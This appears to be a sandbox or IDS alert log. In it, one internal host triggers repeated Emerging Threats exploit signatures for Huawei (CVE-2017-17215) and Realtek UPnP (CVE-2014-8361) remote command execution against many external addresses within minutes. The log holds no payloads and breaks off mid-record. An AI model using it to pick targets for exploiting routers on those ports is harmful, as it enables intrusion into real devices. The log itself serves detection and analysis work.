Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.8.46.56

Timestamp:	07/20/24-23:01:14.014458
SID:	2829579
Source Port:	59218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 27.36.59.232

Timestamp:	07/20/24-23:01:44.411586
SID:	2027339
Source Port:	35022
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 78.1.44.43

Timestamp:	07/20/24-23:01:56.378725
SID:	2027339
Source Port:	50554
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.202.95.80

Timestamp:	07/20/24-23:01:20.169339
SID:	2835222
Source Port:	33182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 165.223.82.19

Timestamp:	07/20/24-23:02:48.447183
SID:	2025132
Source Port:	45040
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.245.227.231

Timestamp:	07/20/24-23:01:26.849112
SID:	2829579
Source Port:	32780
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.30.208.203

Timestamp:	07/20/24-23:02:02.671155
SID:	2027339
Source Port:	43120
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 84.198.11.250

Timestamp:	07/20/24-23:01:43.058685
SID:	2025132
Source Port:	44428
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 124.13.0.132

Timestamp:	07/20/24-23:01:49.231608
SID:	2027339
Source Port:	42252
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 122.69.178.214

Timestamp:	07/20/24-23:01:54.979156
SID:	2831300
Source Port:	37118
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.154.214.30

Timestamp:	07/20/24-23:02:02.570955
SID:	2027339
Source Port:	60414
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 74.131.241.182

Timestamp:	07/20/24-23:01:40.331150
SID:	2835222
Source Port:	38606
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.182.220.13

Timestamp:	07/20/24-23:01:40.279669
SID:	2829579
Source Port:	60064
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 210.80.122.96

Timestamp:	07/20/24-23:01:45.148866
SID:	2027339
Source Port:	33468
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 17.76.42.20

Timestamp:	07/20/24-23:01:48.007334
SID:	2027339
Source Port:	39442
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 167.172.23.251

Timestamp:	07/20/24-23:02:03.085082
SID:	2831300
Source Port:	48622
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 8.202.120.94

Timestamp:	07/20/24-23:01:42.758824
SID:	2025132
Source Port:	45004
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 49.65.211.106

Timestamp:	07/20/24-23:01:58.880225
SID:	2831300
Source Port:	48754
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 223.193.169.99

Timestamp:	07/20/24-23:01:08.631492
SID:	2831300
Source Port:	44358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 97.43.136.85

Timestamp:	07/20/24-23:01:00.637175
SID:	2829579
Source Port:	59334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.17.142.189

Timestamp:	07/20/24-23:01:11.639230
SID:	2829579
Source Port:	56630
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.245.53.9

Timestamp:	07/20/24-23:01:20.202325
SID:	2829579
Source Port:	40562
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 38.122.84.31

Timestamp:	07/20/24-23:01:25.379759
SID:	2025132
Source Port:	51148
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 5.142.247.218

Timestamp:	07/20/24-23:01:13.287248
SID:	2025132
Source Port:	58220
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 175.125.31.24

Timestamp:	07/20/24-23:01:42.566124
SID:	2831300
Source Port:	41876
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 4.9.166.109

Timestamp:	07/20/24-23:01:44.350602
SID:	2831300
Source Port:	36276
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 171.174.164.32

Timestamp:	07/20/24-23:01:42.985320
SID:	2025132
Source Port:	52730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 48.119.173.106

Timestamp:	07/20/24-23:01:51.949637
SID:	2027339
Source Port:	55394
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 68.37.23.19

Timestamp:	07/20/24-23:01:57.243014
SID:	2831300
Source Port:	60560
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 97.247.179.245

Timestamp:	07/20/24-23:01:31.328066
SID:	2027339
Source Port:	56348
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.52.129.29

Timestamp:	07/20/24-23:01:32.034562
SID:	2835222
Source Port:	33016
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.27.213.242

Timestamp:	07/20/24-23:01:20.132510
SID:	2829579
Source Port:	47976
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 99.181.48.189

Timestamp:	07/20/24-23:01:46.439689
SID:	2831300
Source Port:	55516
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.18.10.40

Timestamp:	07/20/24-23:01:04.051104
SID:	2829579
Source Port:	58588
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.169.84.58

Timestamp:	07/20/24-23:01:24.915904
SID:	2829579
Source Port:	55640
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 130.96.13.171

Timestamp:	07/20/24-23:01:41.266946
SID:	2025132
Source Port:	49308
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.233.33.61

Timestamp:	07/20/24-23:01:00.645051
SID:	2829579
Source Port:	35438
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.246.88.6

Timestamp:	07/20/24-23:01:21.943544
SID:	2835222
Source Port:	44032
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 97.69.175.230

Timestamp:	07/20/24-23:01:08.584507
SID:	2831300
Source Port:	41676
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 187.157.152.232

Timestamp:	07/20/24-23:01:44.318262
SID:	2027339
Source Port:	57020
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.18.140.250

Timestamp:	07/20/24-23:01:57.099838
SID:	2027339
Source Port:	41820
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 32.103.164.103

Timestamp:	07/20/24-23:01:48.986585
SID:	2027339
Source Port:	49714
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.21.106.63

Timestamp:	07/20/24-23:01:40.290003
SID:	2835222
Source Port:	42054
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 129.164.36.164

Timestamp:	07/20/24-23:01:47.537829
SID:	2831300
Source Port:	54900
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 196.248.47.177

Timestamp:	07/20/24-23:01:41.419124
SID:	2025132
Source Port:	35788
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 166.80.198.171

Timestamp:	07/20/24-23:01:54.922661
SID:	2831300
Source Port:	46738
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 36.136.49.118

Timestamp:	07/20/24-23:02:28.464626
SID:	2831300
Source Port:	52100
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 67.148.56.97

Timestamp:	07/20/24-23:01:56.900987
SID:	2025132
Source Port:	46180
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 47.210.130.207

Timestamp:	07/20/24-23:01:20.150638
SID:	2829579
Source Port:	43764
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 203.33.109.223

Timestamp:	07/20/24-23:01:34.048825
SID:	2835222
Source Port:	49920
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 120.189.67.125

Timestamp:	07/20/24-23:01:43.190671
SID:	2027339
Source Port:	54998
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 156.133.161.252

Timestamp:	07/20/24-23:01:44.355606
SID:	2025132
Source Port:	46546
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 106.214.178.206

Timestamp:	07/20/24-23:01:02.079114
SID:	2835222
Source Port:	35484
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 5.36.69.33

Timestamp:	07/20/24-23:01:47.692209
SID:	2831300
Source Port:	40688
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 19.191.190.54

Timestamp:	07/20/24-23:01:58.423882
SID:	2831300
Source Port:	37532
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 199.131.169.33

Timestamp:	07/20/24-23:01:21.954501
SID:	2835222
Source Port:	49024
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.190.181.48

Timestamp:	07/20/24-23:01:00.636533
SID:	2835222
Source Port:	52904
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 57.248.72.169

Timestamp:	07/20/24-23:01:43.028316
SID:	2025132
Source Port:	34818
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.8.46.59

Timestamp:	07/20/24-23:00:59.192052
SID:	2835222
Source Port:	53044
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.155.132.167

Timestamp:	07/20/24-23:01:04.961552
SID:	2027339
Source Port:	42842
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 72.2.201.225

Timestamp:	07/20/24-23:01:52.244347
SID:	2027339
Source Port:	34198
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.136.132.148

Timestamp:	07/20/24-23:01:40.311124
SID:	2829579
Source Port:	50952
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 84.227.123.147

Timestamp:	07/20/24-23:01:42.365783
SID:	2831300
Source Port:	36496
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 158.38.51.47

Timestamp:	07/20/24-23:01:06.990535
SID:	2829579
Source Port:	52666
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 163.173.48.45

Timestamp:	07/20/24-23:01:44.373922
SID:	2831300
Source Port:	52258
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 18.141.77.94

Timestamp:	07/20/24-23:01:44.890268
SID:	2027339
Source Port:	48568
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.154.226.190

Timestamp:	07/20/24-23:01:45.094539
SID:	2027339
Source Port:	38588
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 68.106.199.227

Timestamp:	07/20/24-23:01:48.520303
SID:	2025132
Source Port:	33856
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.124.249.51

Timestamp:	07/20/24-23:01:41.380560
SID:	2025132
Source Port:	34342
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.79.99.46

Timestamp:	07/20/24-23:01:20.149798
SID:	2829579
Source Port:	52948
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 80.133.252.53

Timestamp:	07/20/24-23:01:52.425638
SID:	2027339
Source Port:	36282
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.113.51.118

Timestamp:	07/20/24-23:00:59.185032
SID:	2829579
Source Port:	41970
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.135.77.144

Timestamp:	07/20/24-23:01:14.113390
SID:	2829579
Source Port:	59466
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.164.165.154

Timestamp:	07/20/24-23:01:20.596563
SID:	2027339
Source Port:	33634
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 141.217.152.223

Timestamp:	07/20/24-23:01:43.977046
SID:	2027339
Source Port:	50968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.231.240.156

Timestamp:	07/20/24-23:00:59.148145
SID:	2835222
Source Port:	36240
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 148.113.15.213

Timestamp:	07/20/24-23:01:55.820768
SID:	2027339
Source Port:	45600
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 76.231.40.42

Timestamp:	07/20/24-23:01:44.274940
SID:	2027339
Source Port:	58340
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 117.200.16.247

Timestamp:	07/20/24-23:01:31.322217
SID:	2027339
Source Port:	40590
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 174.141.27.208

Timestamp:	07/20/24-23:01:45.965905
SID:	2025132
Source Port:	56456
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.141.154.207

Timestamp:	07/20/24-23:01:11.820979
SID:	2829579
Source Port:	42580
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 104.155.48.50

Timestamp:	07/20/24-23:01:46.220244
SID:	2027339
Source Port:	40518
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 87.152.13.65

Timestamp:	07/20/24-23:02:12.267183
SID:	2027339
Source Port:	42036
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 43.113.255.232

Timestamp:	07/20/24-23:01:44.825081
SID:	2831300
Source Port:	39182
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.35.57.182

Timestamp:	07/20/24-23:01:00.634165
SID:	2829579
Source Port:	37284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 63.80.178.96

Timestamp:	07/20/24-23:01:08.590754
SID:	2027339
Source Port:	38592
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 116.171.63.113

Timestamp:	07/20/24-23:01:07.036064
SID:	2835222
Source Port:	38344
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 169.56.210.25

Timestamp:	07/20/24-23:01:04.113037
SID:	2829579
Source Port:	47014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 49.37.83.56

Timestamp:	07/20/24-23:01:42.854321
SID:	2831300
Source Port:	44544
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 155.165.181.96

Timestamp:	07/20/24-23:01:00.635367
SID:	2829579
Source Port:	39392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 185.117.12.122

Timestamp:	07/20/24-23:01:43.540053
SID:	2025132
Source Port:	55358
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 217.231.155.95

Timestamp:	07/20/24-23:01:45.175511
SID:	2831300
Source Port:	36088
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.24.218.23

Timestamp:	07/20/24-23:01:55.964600
SID:	2027339
Source Port:	34626
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 42.191.217.231

Timestamp:	07/20/24-23:01:12.841280
SID:	2831300
Source Port:	60678
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 35.56.95.76

Timestamp:	07/20/24-23:01:44.559917
SID:	2027339
Source Port:	37734
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 201.86.102.204

Timestamp:	07/20/24-23:01:44.663524
SID:	2027339
Source Port:	56232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 223.33.49.156

Timestamp:	07/20/24-23:01:45.697846
SID:	2027339
Source Port:	58184
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 113.10.123.41

Timestamp:	07/20/24-23:01:43.478924
SID:	2831300
Source Port:	43554
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 111.91.178.70

Timestamp:	07/20/24-23:01:53.407777
SID:	2831300
Source Port:	51602
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 60.240.72.8

Timestamp:	07/20/24-23:01:45.164161
